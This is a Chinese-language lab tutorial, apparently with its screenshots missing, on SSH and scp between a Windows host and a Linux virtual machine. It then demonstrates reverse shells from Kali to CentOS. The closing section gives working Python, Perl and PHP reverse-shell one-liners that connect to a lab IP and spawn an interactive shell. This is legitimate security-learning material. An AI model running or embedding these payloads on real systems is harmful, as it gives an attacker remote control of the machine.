利用ssh在物理机上连接Linux虚拟机
Windows +r 然后输入cmd 进入物理机编译
查看主机是否支持ssh运行
连接虚拟机 红色框里是虚拟机的IP地址和虚拟机root密码
这就可以在物理机上使用了
利用scp 实现虚拟机与物理机之间的互传文件
查看主机是否支持scp运行
物理机上传文件到虚拟机
蓝色框:物理机文件的地址
绿色框:虚拟机的IP地址
红色框:虚拟机接收文件的地址
紫色框:root密码
在虚拟机上查看文件是否上传成功
虚拟机上传文件到物理机
查看是否成功
反弹Shell 大义客服端与服务端位置互换
通过kali控制centos 并可以对centos进行操作
通过kali控制centos 并可以对centos进行操作 并不显示 (错误命令显示)
使用编程代码使kali控制centos
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.193.141",1010));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
perl -e '
use Socket;
$i="192.168.193.141";
$p=1234;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'
php -r '$sock=fsockopen("192.168.193.141",5555);exec("/bin/bash -i <&3 >&3 2>&3");'